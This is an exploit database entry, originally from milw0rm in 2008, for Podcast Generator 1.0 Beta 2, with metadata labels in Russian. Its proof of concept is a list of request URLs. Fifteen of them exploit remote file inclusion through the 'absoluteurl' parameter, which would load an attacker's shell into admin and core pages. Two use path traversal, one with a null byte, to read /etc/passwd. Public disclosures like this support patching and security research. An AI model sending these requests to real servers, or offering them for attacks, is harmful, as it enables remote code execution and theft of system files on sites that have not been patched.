Exploit Podcast Generator 1.0 Beta 2 - Remote File Inclusion / File Disclosure

[Exploiter]

EDB-ID

5200

Проверка EDB

1. Пройдено

Автор

GOLD_M

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-1125 cve-2008-1124

Дата публикации

2008-02-28

### Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities
### http://sourceforge.net/project/showfiles.php?group_id=163847
### POC :
### I- Remote File Inclusion Vulnerabilities
### /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/login.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/archive_cat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/recent_list.php?absoluteurl=shell
### II- Remote File Disclosure Vulnerabilities
### /podcastgen1.0beta2/core/themes.php?theme_path=../../../../../../../../../etc/passwd%00
### /podcastgen1.0beta2/download.php?filename=../../../../../../../../../etc/passwd
                                  @@@@@@@ ANA TRYAGI @@@@@@@

# milw0rm.com [2008-02-28]